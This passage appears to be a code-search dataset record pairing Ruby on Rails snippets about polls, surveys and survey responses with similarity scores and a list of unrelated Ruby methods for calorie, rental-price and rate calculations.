"def save(user)\n Rails.logger.debug \"Call to polls.save\"\n self.answers=Util.arraystring_to_csv(self.answers)\n if self.valid? #Validate if the Poll object is valid\n Rails.logger.debug \"The poll question is valid!\"\n #Create a raw poll object\n poll_req = { 'question'=>self.question,\n 'answers'=>Util.arraystring_to_csv(self.answers),#Turn the answers array in string form to a comma separated string\n 'start'=> Util.date_to_epoch(self.start_date), #Turn the start_date to epoch\n 'duration'=> self.duration.to_i*60000, #Turn minutes to milliseconds\n 'ownerId'=> self.owner_id,\n 'creatorId'=> self.creator_id\n }\n reqUrl = \"/api/poll/\" #Set the request url\n rest_response = MwHttpRequest.http_post_request(reqUrl,poll_req,user['email'],user['password']) #Make the POST call to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" || rest_response.code == \"201\" || rest_response.code == \"202\" #Validate if the response from the server is satisfactory\n poll = Poll.rest_to_poll(rest_response.body) #Turn the response object to a Poll object\n return true, poll #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n else\n Rails.logger.debug self.errors.full_messages\n return false, self.errors.full_messages #Return invalid object error\n end\n end",
"def set_submission_response\n @submission_response = SubmissionResponse.find(params[:id])\n end",
"def set_survey\n @survey = current_survey\n end",
"def create\n @survey_response = SurveyResponse.new(survey_response_params)\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to @survey_response, notice: 'Survey response was successfully created.' }\n format.json { render :show, status: :created, location: @survey_response }\n else\n format.html { render :new }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def validate_responses(params)\n @responses = params['responses'] \n # Retrieve the smerf form record, rails will raise error if not found\n @smerfform = SmerfForm.find(params[:smerf_form_id])\n # Validate user responses\n @errors = Hash.new() \n @smerfform.validate_responses(@responses, @errors) \n end",
"def take_survey\n @survey = Survey.find(params[:id])\n p \"this is survey taking method\"\n \n\n end",
"def create\n @survey = Survey.new(survey_params)\n @survey.save\n respond_with( [ :admin, @survey] )\n end",
"def parse\n @meta = parse_meta\n @comments = parse_comments\n @sensors = parse_sensors\n @workout = parse_workout\n @intervals = parse_intervals\n @interval_samples = parse_interval_samples\n end",
"def set_played_survey\n # @played_survey = PlayedSurvey.find(params[:id])\n end",
"def create\r\n @survey_response = SurveyResponse.new(params[:survey_response])\r\n\r\n respond_to do |format|\r\n if @survey_response.save\r\n format.html { redirect_to @survey_response, notice: 'Survey response was successfully created.' }\r\n format.json { render json: @survey_response, status: :created, location: @survey_response }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @survey_response = SurveyResponse.new(params[:survey_response])\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to survey_survey_responses_path(params[:survey_id]), notice: 'Survey response was successfully created.' }\n format.json { render json: @survey_response, status: :created, location: @survey_response }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def response_message\n parsed_response['message']\nend",
"def call()\n json = do_request()\n parse(json)\n end",
"def perform\n twitch = TwitchApiQuerier.new\n twitch.parse_data\n end",
"def set_answer\n\t\t#@answer = Survey.find(params[:id])\n\tend",
"def survey_response_params\n params.fetch(:survey_response, {})\n end",
"def create\n @appreciation = Appreciation.new(appreciation_params)\n\n respond_to do |format|\n if @appreciation.save \n @appreciation.parse\n \n format.html { redirect_to @appreciation, notice: 'Appreciation was successfully created.' }\n format.json { render :show, status: :created, location: @appreciation }\n else\n format.html { render :new }\n format.json { render json: @appreciation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create_response, @survey\n @response_survey = @survey.responses.new(response_survey_params)\n @auto_vote = (params[:auto_vote] ? true : false)\n @response_survey.vote(current_user) if @auto_vote\n\n respond_to do |format|\n if @response_survey.save\n @reload = true if current_user && !@survey.can_vote?(current_user)\n format.html { redirect_to :back }\n format.js\n format.json { render action: 'show', status: :created, location: @survey }\n else\n format.js\n format.html { render action: 'new' }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parse_response(response)\n raise NotImplementedError, '.parse_response should be implemented in subclass'\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def build_truncated_survey\n Questions::Other.boolean_has_pain(@survey)\n Questions::Slider.current_pain(@survey)\n Questions::Slider.last_case_worst(@survey)\n Questions::Slider.last_case_sleep(@survey)\n Questions::Slider.last_case_activities(@survey)\n Questions::Checklist.medication_efficacy_slider(@survey)\n Questions::Checklist.other_strategies(@survey)\n Questions::Slider.pain_control(@survey)\n end",
"def parse(request)\n raise NotImplementedError\n end",
"def set_smallsurvey\n @smallsurvey = Smallsurvey.find(params[:id])\n end",
"def request_result\n \n end",
"def survey_response_params\n params[:survey_response][:user_id] = current_user.id\n params[:survey_response][:survey_form_id] = @survey_form.id\n parse_user_response \n puts \" params Here - #{params}\" \n params.require(:survey_response).permit(:survey_form_id, :user_id, :time_to_answer, answers_attributes: [:question_id, :survey_response_id, :answer_data]) \n end",
"def initialize(id, parser, title, options = {})\n self.id = id\n self.parser = parser\n self.title = title\n self.survey_sections = []\n self.access_code = Columnizer.to_normalized_column(title)\n # self.default_options(title).merge(options).each{|key,value| self.instance_variable_set(\"@#{key}\", value)}\n Survey.current_survey = self\n end",
"def parsed_response\n response\n end",
"def parse()\n #This is a stub, used for indexing\n end",
"def normalize_responses\n return if form.blank?\n\n form.response_fields.each do |response_field|\n if (x = self.response_value(response_field))\n response_field.normalize_response(x, get_responses)\n end\n end\n\n mark_responses_as_changed!\n end",
"def submit\n\t\tset_post_data\n get_response @url\n parse_response\n\tend",
"def response=(response); @response = response end"
] |
[
"0.5876006",
"0.5854425",
"0.58517605",
"0.5786045",
"0.5706179",
"0.5706179",
"0.5706179",
"0.5706179",
"0.5638147",
"0.5517288",
"0.54785043",
"0.54246616",
"0.5389937",
"0.5389937",
"0.5389937",
"0.53821015",
"0.5318267",
"0.53106934",
"0.53016645",
"0.52799904",
"0.52687126",
"0.52440184",
"0.521561",
"0.5214337",
"0.5192545",
"0.5161635",
"0.5108486",
"0.5106156",
"0.5101872",
"0.50989294",
"0.50830334",
"0.5076565",
"0.5048615",
"0.50444454",
"0.5042946",
"0.5027738",
"0.5014171",
"0.5009235",
"0.5008171",
"0.5008171",
"0.5006285",
"0.49962348",
"0.49948567",
"0.499174",
"0.49829677",
"0.49790075",
"0.49719128",
"0.49649757",
"0.4964671",
"0.49573258",
"0.49539724",
"0.4947455",
"0.49433035",
"0.49430597",
"0.49308705",
"0.49239975",
"0.49155292",
"0.49127886",
"0.49062732",
"0.49047086",
"0.48941478",
"0.48901185",
"0.48859814",
"0.48818412",
"0.4880667",
"0.48757696",
"0.48753586",
"0.48744988",
"0.48742595",
"0.48735973",
"0.485918",
"0.4856945",
"0.48523104",
"0.48521307",
"0.48407626",
"0.48371288",
"0.4829049",
"0.4828431",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.4819243",
"0.48187873",
"0.48158556",
"0.48111433",
"0.48099422",
"0.48098123",
"0.48097685",
"0.48042312",
"0.4796257",
"0.4790317",
"0.4785771",
"0.47831997"
] |
0.64945865
|
0
|
Return daily ratios of calories
|
def macro_percentages
if self.total_calories!=nil and self.protein_grams != nil and self.carbohydrate_grams!=nil and self.fat_grams!=nil
return {:protein=>protein_grams.to_f/total_calories, :carbohydrate => carbohydrate_grams.to_f/total_calories, :fat=> fat_grams.to_f/total_calories}
end
return nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def daily_rate\n yearly_rate / 365\n end",
"def daily_rate\n\t\t yearly_rate / 365\n\t\t end",
"def daily_interest\n @apr / 100.0 / 365\n end",
"def calorie_sum_by_day\n\n end",
"def rates_per_day\n @rates_per_day ||= raw_fx_rates['Cube'][0]['Cube']\n end",
"def total\n number_of_days_rental = end_date - start_date\n daily_rate = car_category.daily_price\n\n number_of_days_rental * daily_rate\n end",
"def spec_to_method_ratios_by_month events\n events.group_by {|e| month_from_date(e.date) }\n .map {|_,es| spec_count(es).to_f / es.count }\nend",
"def average_calories\n calories = self.desserts.map {|dessert| dessert.calories}\n length = calories.length\n calories.sum.to_f / length.to_f\n end",
"def discount_rates_for_rental_days\n days_of_rent.map do |day|\n RulesLevelTwo.daily_rate(day)\n end\n end",
"def profit_day_rate(cal)\n day_rate = avg_rate_card_amount_cents.round(2)\n mins_tracked = Timing.minute_duration_submitted_for_period_and_client(id, cal.start_date, cal.end_date)\n days_tracked = (hours = mins_tracked.to_s.to_d / account.account_setting.working_day_duration_minutes).round(2)\n invoiced_amount = Invoice.amount_cents_invoiced_for_period_and_client(id, cal.start_date, cal.end_date).round(2)\n total_project_potential = (days_tracked * avg_rate_card_amount_cents.round).round(2)\n\n if invoiced_amount == 0 && days_tracked != 0\n 0\n elsif invoiced_amount != 0 && days_tracked == 0\n invoiced_amount\n elsif invoiced_amount == 0\n day_rate\n else\n ((invoiced_amount / total_project_potential) * day_rate).round(2)\n end\n end",
"def apport_calorique(repas)\n @calrep = 0\n #on fait la somme des calories acquises ce jour\n repas.each do |r|\n @calrep += r.calories\n end\n @calrep.round\n end",
"def average_calories\n total = 0\n self.desserts.each do |dessert|\n total + dessert.calories / dessert.ingreidents.length\n end\n total\n end",
"def calculate_win_broke_fire_rate\n all_cycles_result = []\n win_rate = []\n fire_rate = []\n broke_rate = []\n # todo we can tune this number\n (@number_of_years-100+@fire_age).times do |i|\n all_cycles_result << calculate_one_cycle(i*12)\n end\n number_of_cycles = all_cycles_result.count\n number_of_months = all_cycles_result[0].count\n\n\n (number_of_months/12).times do |year|\n total_win = 0\n total_fire = 0\n total_broke = 0\n number_of_cycles.times do |cycle|\n year_start_month = year*12\n year_end_month = year*12+11\n\n total_win += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == WIN}\n total_fire += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == FIRE}\n total_broke += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == BROKE}\n end\n total_count = total_win + total_fire + total_broke\n win_rate << total_win/total_count.to_f\n fire_rate << total_fire/total_count.to_f\n broke_rate << total_broke/total_count.to_f\n end\n return [win_rate, fire_rate, broke_rate]\n end",
"def todays_calories\n array = self.daily_logs.map do |log|\n if log.date == Date.today\n return log.calories \n # else \"No calories logged for today's date\"\n else \"0 Days left, please check your bet dash\"\n end\n end\n return array[0]\n end",
"def discount_of_the_day(day)\n case day\n when (0..(DISCOUNT_PERIOD_1_START_DAY - 1)) then 0\n when (DISCOUNT_PERIOD_1_START_DAY..(DISCOUNT_PERIOD_2_START_DAY - 1)) then DISCOUNT_PERIOD_1_RATE\n when (DISCOUNT_PERIOD_2_START_DAY..(DISCOUNT_PERIOD_3_START_DAY - 1)) then DISCOUNT_PERIOD_2_RATE\n else DISCOUNT_PERIOD_3_RATE\n end\n end",
"def average_calories\n dessert_cal = desserts.map do |dessert|\n dessert.calories || 0\n end\n dessert_cal.reduce(:+)/dessert_cal.length\n end",
"def time_data column = \"calories\"\n return [] if !valid?\n return [] if ![\"calories\", \"fat\", \"carbs\", \"protein\"].include?(column)\n\n scope_multiplier = 1\n scope_multiplier = length_scope == \"week\" ? 7 : scope_multiplier\n scope_multiplier = length_scope == \"month\" ? 30 : scope_multiplier\n scope_multiplier = length_scope == \"year\" ? 360 : scope_multiplier\n\n last = num.to_i * scope_multiplier\n\n # First, we get the days\n days = FoodEntry.where(user_id: user_id)\n .group_by_day(:day_ts, default_value: 0, last: last)\n .sum(column)\n .to_a\n\n return days if length_scope == \"day\"\n\n # Group by the weeks\n if length_scope == \"week\"\n weeks = days.group_by_week() { |d| d[0] }\n return average_of weeks\n end\n\n # Group by months\n if length_scope == \"month\"\n months = days.group_by_month { |d| d[0] }\n return average_of months\n end\n\n # Group by year\n if length_scope == \"year\"\n years = days.group_by_year { |d| d[0] }\n return average_of years\n end\n\n return []\n end",
"def avg_daily_gas_consumption\n res_ = self.total_therms_logged.fdiv(self.total_heatbill_days_logged)\n return res_.nan? ? 0.0 : res_\n end",
"def auto_calories \n cals_per_hour = $calories_per_hour.fetch(activity,42)\n cals_per_hour\n end",
"def daily_value_of(nutrient)\n return nil unless DAILY_VALUE.include?(nutrient)\n (public_send(nutrient) / DAILY_VALUE[nutrient]).value\n end",
"def time_price\n (1..days).map { |x|\n car.price_per_day * (1 - Rental.discount(x) / 100.0)\n }.sum.round\n end",
"def discount_for_day(day)\n case day\n when 1 then 0\n when (2..4) then 0.1\n when (5..10) then 0.3\n else 0.5\n end\n end",
"def daily\n if dates_ok?\n @entries = Entry.where('user_id = ?\n AND \"time\"(date) BETWEEN ? AND ?\n AND CAST(date AS DATE) >= ? and CAST(date AS DATE) <= ?', current_user.id, params[:timeFrom], params[:timeTo], Date.parse(params[:dateFrom]), Date.parse(params[:dateTo])).\n select('CAST(date AS DATE), sum(calories) as calories').group('CAST(date AS DATE)')\n else\n @entries = Entry.where('user_id = ?', current_user.id).\n select('CAST(date AS DATE), sum(calories) as calories').group('CAST(date AS DATE)')\n end\n end",
"def calculate_calories\n\t\tselected_food = params['food']['search']\n\t\tfoodName = selected_food.split('cals').first\n\t\t@name = foodName\n\t\tfoodCal = selected_food.split('cals').last\n\t\t@calories = foodCal\n\n\t\t###distinguish between female/male###\n\t\tif current_user.gender = 'male'\n\t\t@time_running = foodCal.to_f * 4.184 / ( (current_user.age * 0.2017) - (current_user.weight * 0.09036) + (148 * 0.6309) - 55.0969 )\n\t\t\n\t\t@time_walking = foodCal.to_f / 5 / (current_user.weight * 0.45392) * 60\n\t\t\n\t\t@time_swimming = foodCal.to_f / 9.8 / (current_user.weight * 0.45392) * 60\n\n\t\t@time_programming = foodCal.to_f / 1.8 / (current_user.weight * 0.45392) * 60\n\t\t\n\t\t\telsif current_user.gender ='female'\n\t\t\t\t@time_running = foodCal.to_f * 4.184 / ( (current_user.age * 0.074) - (current_user.weight * 0.05741) + (148 * 0.4472) - 20.4022 )\n\t\t\t\t\n\t\t\t\t@time_walking = foodCal.to_f / 5 / (current_user.weight * 0.45392) * 60\n\t\t\t\t\n\t\t\t\t@time_swimming = foodCal.to_f / 9.8 / (current_user.weight * 0.45392) * 60\n\n\t\t\t\t@time_programming = foodCal.to_f / 1.8 / (current_user.weight * 0.45392) * 60\n\t\t\tend\n\t\trender :exercise\n\tend",
"def calculate_monthly_calories(exercises)\n\t\ttotal_burn = 0\n\t\texercises.each do |exercise|\n\t\t\ttotal_burn += exercise.calories\n\t\tend\n\t\treturn total_burn\n\tend",
"def avarage_calories_burned\n total_workout_calories / set_sport_by_user.count\n rescue\n 0\n end",
"def average_calories\n tot_calories = self.ingredients.sum {ingredient| ingredient.calories}\n tot_calories/self.desserts_count\n end",
"def price(rental)\n car_id = rental[\"car_id\"]\n car = @cars.select{ |car| car[\"id\"] == car_id }[0]\n\n price_per_day = car[\"price_per_day\"]\n price_per_km = car[\"price_per_km\"]\n\n start_date = DateTime.parse(rental[\"start_date\"])\n end_date = DateTime.parse(rental[\"end_date\"])\n duration = (end_date - start_date).to_i + 1\n\n distance = rental[\"distance\"]\n\n # price per day discount : 10% after 1 day, 30% after 4 days, 50% after 10 days\n duration_price = if duration == 1\n price_per_day\n elsif duration > 1 && duration < 5\n price_per_day + price_per_day * (duration - 1) * 90 / 100\n elsif duration > 4 && duration < 11\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * (duration - 4) * 70 / 100\n else\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * 6 * 70 / 100 + price_per_day * (duration - 10) * 50 / 100\n end\n\n rental_price = duration_price + price_per_km * distance\nend",
"def price(rental)\n car_id = rental[\"car_id\"]\n car = @cars.select{ |car| car[\"id\"] == car_id }[0]\n\n price_per_day = car[\"price_per_day\"]\n price_per_km = car[\"price_per_km\"]\n\n start_date = DateTime.parse(rental[\"start_date\"])\n end_date = DateTime.parse(rental[\"end_date\"])\n duration = (end_date - start_date).to_i + 1\n\n distance = rental[\"distance\"]\n\n # price per day discount : 10% after 1 day, 30% after 4 days, 50% after 10 days\n duration_price = if duration == 1\n price_per_day\n elsif duration > 1 && duration < 5\n price_per_day + price_per_day * (duration - 1) * 90 / 100\n elsif duration > 4 && duration < 11\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * (duration - 4) * 70 / 100\n else\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * 6 * 70 / 100 + price_per_day * (duration - 10) * 50 / 100\n end\n\n rental_price = duration_price + price_per_km * distance\nend",
"def price(rental)\n car_id = rental[\"car_id\"]\n car = @cars.select{ |car| car[\"id\"] == car_id }[0]\n\n price_per_day = car[\"price_per_day\"]\n price_per_km = car[\"price_per_km\"]\n\n start_date = DateTime.parse(rental[\"start_date\"])\n end_date = DateTime.parse(rental[\"end_date\"])\n duration = (end_date - start_date).to_i + 1\n\n distance = rental[\"distance\"]\n\n # price per day discount : 10% after 1 day, 30% after 4 days, 50% after 10 days\n duration_price = if duration == 1\n price_per_day\n elsif duration > 1 && duration < 5\n price_per_day + price_per_day * (duration - 1) * 90 / 100\n elsif duration > 4 && duration < 11\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * (duration - 4) * 70 / 100\n else\n price_per_day + price_per_day * 3 * 90 / 100 + price_per_day * 6 * 70 / 100 + price_per_day * (duration - 10) * 50 / 100\n end\n\n rental_price = duration_price + price_per_km * distance\nend",
"def get_avg\n recentReviewed = get_user_cards(Result.all)\n filteredDates = get_dates(recentReviewed)\n totalScore = filteredDates.reduce(0) {|curr,n| curr + n.score} \n totalScore/filteredDates.count \n end",
"def daily_totals(emoji)\n\n @day_zero = self.last_day.where(emoji: emoji).pluck(:created_at).size\n @day_one = self.last_day_plus_one.where(emoji: emoji).pluck(:created_at).size\n @day_two = self.last_day_plus_two.where(emoji: emoji).pluck(:created_at).size\n some_days = [@day_zero, @day_one, @day_two]\n\n end",
"def avg_daily_water_consumption\n res_ = self.total_gallons_logged.fdiv(self.total_waterbill_days_logged)\n return res_.nan? ? 0.0 : res_\n end",
"def rate_per_day_overall_of_videos\n ( video_count / account_age_in_days.to_f ).round(1)\n end",
"def daily_advance\n actual_duration = (end_date - start_date).to_i\n return 1.0 / admin_duration_estimation if actual_duration < admin_duration_estimation\n 1.0 / actual_duration\n end",
"def pass_rate(days=30)\n latest_executions(days).average('IF(success, 1, 0)')&.to_f\n end",
"def calculate_overall_power_for\n t = Time.zone.now\n\n until_today = self.energy_data.where(:year=>t.year, :month=> (1..(t.month)), :day=>(1..t.day-1)).sum(\"power\") # total in Wh\n today = self.energy_data.where(:year=>t.year, :month=>t.month, :day=>t.day, :hour=>(1..t.hour)).sum(\"power\") # total in Wh\n until_today + today\n end",
"def current_reporting_period_averages\n answers.validated.current_reporting_period.group(:test_id).average(:user_rating)\n end",
"def average_rent\n @units.sum(&:monthly_rent) / 2.0\n end",
"def calculate_price_per_day(price_per_day, day_count)\n price_per_day * day_count\n end",
"def strategy_stats date_range\n data = []\n current_user.reports.where(exam_date:date_range).each do |report|\n l1 = (report.l1_attended.to_f/(report.l1_total.to_f.nonzero? || 1 ))*100\n l2 = (report.l2_attended.to_f/(report.l2_total.to_f.nonzero? || 1 ))*100\n l3 = (report.l3_attended.to_f/(report.l3_total.to_f.nonzero? || 1 ))*100\n data << (report.l1_attended.to_f/(report.l1_total.to_f.nonzero? || 1 ))*100 + (report.l2_attended.to_f/(report.l2_total.to_f.nonzero? || 1 ))*10 + (report.l3_attended.to_f/(report.l3_total.to_f.nonzero? || 1 ))\n end\n return data\n end",
"def promedio(visitas_diarias)\n visitas_diarias.sum / visitas_diarias.count #suma de los datos dividido la cantidad de datos\nend",
"def dr(date)\n _, end_date = *roll_period_for_date(date)\n start_date = next_cboe_business_day(date)\n remaining_business_days_in_roll_period = date_series_inclusive(start_date, end_date).select {|date| cboe_business_day?(date) }\n remaining_business_days_in_roll_period.count.to_f\nend",
"def get_daily_revenue_vs_target_chart_series(number_of_days=60)\n daily_revenue_chart_series = []\n\n # Last 30 Days: Column\n daily_revenue_array = []\n last_x_dates_array = get_last_x_dates_array(number_of_days)\n last_x_dates_array.each do |date|\n difference = get_revenue_by_day(nil, date) - get_daily_revenue_goal_by_month(get_last_sale_date)\n daily_revenue_array.push(difference.round(2))\n end\n daily_revenue_chart_series.push({\n 'name' => 'Last ' + number_of_days.to_s + ' Days', \n 'data' => daily_revenue_array,\n 'type' => 'column',\n 'borderWidth' => 0,\n 'negativeColor' => '#FF6060',\n 'color' => 'green'\n })\n\n # Average For Current Month\n this_month_daily_average_revenue_array = []\n last_x_dates_array.each do |date|\n difference = get_average_daily_revenue_by_month(get_last_sale_date) - get_daily_revenue_goal_by_month(get_last_sale_date)\n this_month_daily_average_revenue_array.push(difference.round(2))\n end\n daily_revenue_chart_series.push({\n 'name' => get_last_sale_date.strftime(\"%b\") + ' Average', \n 'data' => this_month_daily_average_revenue_array,\n 'type' => 'line',\n 'color' => 'black',\n 'borderWidth' => 0,\n 'lineWidth' => 1,\n 'marker' => {\n 'enabled' => false\n }\n })\n\n return daily_revenue_chart_series.to_json\n end",
"def average_rent(units = @units)\n average_rent = 0\n units.each do |unit|\n average_rent += unit.monthly_rent.to_f\n end\n average_rent / units.length.to_f\n end",
"def daily\n (0..Stats.days_in_month).collect { |d| redis.get(\"#{prefix_daily}:#{Time.now.year}:#{Time.now.month}:#{d}\").to_i }\n end",
"def pm_ratio_value\n return 1 if end_date.nil?\n num_days = (end_date - start_date).to_i + 1\n num_days == 3 ? 0 : num_days\n end",
"def total(start_date, stop_date)\n total = 0\n\n @seasons.map do |season|\n (start_date...stop_date).each do |date| #using ... instead of .. because we don't pay on the final day\n total += season.rate unless !season.in_season?(date) #add to total unless the date isn't in season\n end\n end\n total.to_f\n end",
"def patient_monthly_costs_during_dh\n\t$pt_costs_monthy_during_dh = []\n\n\t$pokitdok_call.each do |drug|\t\n\t\t#Patient pays no more than 45% of ⇒ plan’s cost for covered brand-name prescription drugs + pharmacy’s dispensing fee\n\t\tif drug['tier'] == 1\n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.58)\n\n\t\t#patient pays 58% of cost, 58% of cost goes toward geting out of donut hole\t\t\t\n\t\telsif drug['tier'] == 2 \n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.45)\n\t\telsif drug['tier'] == 3\n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.45)\n\t\telse\n\t\t\t$pt_costs_monthy_during_dh << drug['retail']['total_cost_30_day']['amount'].to_f\n\t\tend\n\tend\n\n\t$pt_costs_monthy_during_dh.inject(:+).round(2)\nend",
"def calories_per_liter\n 672\n end",
"def dist_per_time_period(days)\n days.map do |day| \n day.map {|time_period| calc_average_distance(time_period) } \n end\n end",
"def data_collector collection, factor, duration\n your_data, comparison_data = [], [], []\n uniq_exam_dates = collection.map(&:exam_date).uniq\n if duration == \"12\"\n Date.today.month.times do |count|\n your_temp_data, todays_data = [], []\n collection.where(exam_date:(Time.now-count.month).all_month()).each do |report|\n your_temp_data << report.send(:\"#{factor}\")\n end\n Report.where(exam_date: (Time.now-count.month).all_month(), school_id:current_user.school.id).each do |m|\n todays_data << (m.send(:\"#{factor}\")).round(2) rescue 0\n end\n comparison_data << average(todays_data)\n your_data << average(your_temp_data)\n end\n else\n uniq_exam_dates.each do |date|\n your_temp_data,todays_data = [], []\n collection.where(exam_date:date).each do |report|\n your_temp_data << report.send(:\"#{factor}\")\n end\n Report.where(exam_date:date, school_id:current_user.school.id).each do |m|\n todays_data << (m.send(:\"#{factor}\")).round(2) rescue 0\n end\n comparison_data << average(todays_data)\n your_data << average(your_temp_data)\n end\n end\n your_data.reverse!\n comparison_data.reverse!\n factor == \"accuracy\" ? plot_accuracy(your_data, comparison_data) : plot_time_management(your_data, comparison_data)\n end",
"def days_totals\n totals(:day)\n end",
"def usd_profit_per_day\n return 0 if mining_rig.days_running <= 0\n (usd_profit / mining_rig.days_running).round(2)\n end",
"def windscreen\n a = self.invoices_data.codfam(861).interval_for( interval(4.month), first_day ).sum(:sumOfPCLTOT)\n b = self.carpark_data.and_year(today.year).sum(:number_of_car)\n divide(a, b)\n end",
"def day\n stamp = params[:stamp].to_i\n time = Time.at(stamp)\n day_data = GlucoseSensorData.by_day(time.utc.to_date, :field => :timestamp)\n\n #@day_data.map do |datum|\n # datum[:glucose_scaled] = (Math.log(datum[:glucose]) - Math.log(120)) ** 2\n #end\n\n max = GlucoseSensorData.maximum(:timestamp)\n limit = 3\n range = {}\n unless range == \"all\"\n range = { :begin => max - limit.months, :end => max }\n end\n\n #averages = average_day(max.to_date, range)\n averages = []\n\n response = {\n \"averages\" => averages,\n \"day_data\" => day_data\n }\n\n render :json => response.to_json\n end",
"def estimated_profit_day_rate\n day_rate = avg_rate_card_amount_cents.round(2)\n mins_tracked = Timing.minute_duration_submitted_for_client(id)\n days_tracked = (mins_tracked.to_s.to_d / account.account_setting.working_day_duration_minutes).round(2)\n\n task_estimate_mins = Task.total_estimated_minutes_for_client(id)\n task_estimate_days = (task_estimate_mins.to_s.to_d / account.account_setting.working_day_duration_minutes).round(2)\n\n total_project_potential = (days_tracked * day_rate).round(2)\n\n if task_estimate_days == 0 && days_tracked != 0\n 0\n elsif task_estimate_days != 0 && days_tracked == 0\n (task_estimate_days * day_rate.to_s.to_d).round(2)\n elsif task_estimate_days == 0\n day_rate\n else\n (((task_estimate_days * day_rate.to_s.to_d) / total_project_potential) * day_rate).round(2)\n end\n end",
"def kcals\n meal_ids = meals.pluck(:recipe_id)\n recipes = Recipe.where id: meal_ids\n recipes.map(&:kcals).sum\n\n recipe_stats = meals.map do |meal|\n { quantity: meal.quantity, kcals: meal.recipe.kcals }\n end\n\n recipe_stats.map { |s| s[:quantity] * s[:kcals] }.sum\n end",
"def calculate_calories(fid, calories, type)\n\n\t\t@food=Food.find(fid)\n\t\ttimes=calories/@food.energ_kcal\n\t\tif !@food.custom\n\n\t\tcase type\n\t\t\n\t\twhen 'fat'\n\t\tcalories = (@food.lipid_tot.to_f * times)\n\t\twhen 'carbohydrt'\n\t\tcalories = (@food.carbohydrt.to_f * times) \n\t\twhen 'protein'\n\t\tcalories = (@food.protein.to_f * times) \t\t\t\t\t\t\n\t\tend\n\n\t\telse\n\t\t\n\t\ttimes=calories/@food.energ_kcal\n\t\tcase type\n\t\t\n\t\twhen 'calorie'\n\t\tcalories = @food.energ_kcal.to_f* times\n\t\twhen 'fat'\n\t\tcalories = @food.total_fat.to_f * times\n\t\twhen 'carbohydrt'\n\t\tcalories = @food.carbohydrt.to_f * times\n\t\twhen 'protein'\n\t\tcalories = @food.protein.to_f * times\n\t\twhen 'fiber_td'\n\t\tcalories = @food.fiber_td.to_f * times\n\t\tend\n\t\tend\n\t\treturn calories.round(2) unless calories.nil? \n\n\t\tend",
"def calc_carbon\n self.carbon_intensity = CarbonRecord.for(self.period_end)\n self.carbon_result = (self.carbon_intensity * self.amount)/1000.0\n end",
"def get_monthly_rate(apr)\n (apr / 100) / 12\nend",
"def cumulated_consumption(calculate_date)\n times = 0\n if self.end_date.nil? || calculate_date <= self.end_date\n if self.periodicity == \"daily\"\n times = (calculate_date - self.first_effective_date).to_i + 1\n elsif self.periodicity == \"weekly\"\n times = (calculate_date - self.first_effective_date).to_i / 7 + 1\n end\n else\n if self.periodicity == \"daily\"\n times = (self.end_date - self.first_effective_date).to_i + 1\n elsif self.periodicity == \"weekly\"\n times = (self.end_date - self.first_effective_date).to_i / 7 + 1\n end\n end\n return times * self.amount\n end",
"def average_pomodoros\n all = PomodoroCountByDay.find_all\n sum = 0\n valid_day = 0\n all.each do |day|\n if day.count > 5\n valid_day+=1\n sum = sum + day.count\n end\n end\n valid_day > 0 ? sum/valid_day : 0\n end",
"def pro_rated_total(amount)\n todays_date = Time.now.strftime('%d').to_f\n end_of_month_date = Time.now.end_of_month.strftime('%d').to_f\n\n (1.0 - (todays_date / end_of_month_date)) * amount\n rescue StandardError\n amount\n end",
"def discount_price(price_per_day, number_of_days)\n (1..number_of_days).to_a.map do |day|\n case day\n when 1\n 1\n when (2..4)\n 0.9\n when (4..10)\n 0.7\n else\n 0.5\n end\n end.inject(0) do |result, val|\n result + price_per_day * val\n end\n end",
"def day_fraction\n 0.0\n end",
"def calculate_meals\n \n t1 = self.starts_on.to_time.to_i\n t2 = self.ends_on.to_time.to_i\n\n seconds = t2-t1\n days = seconds / 86400\n\n self.meals = days * 3\n\n end",
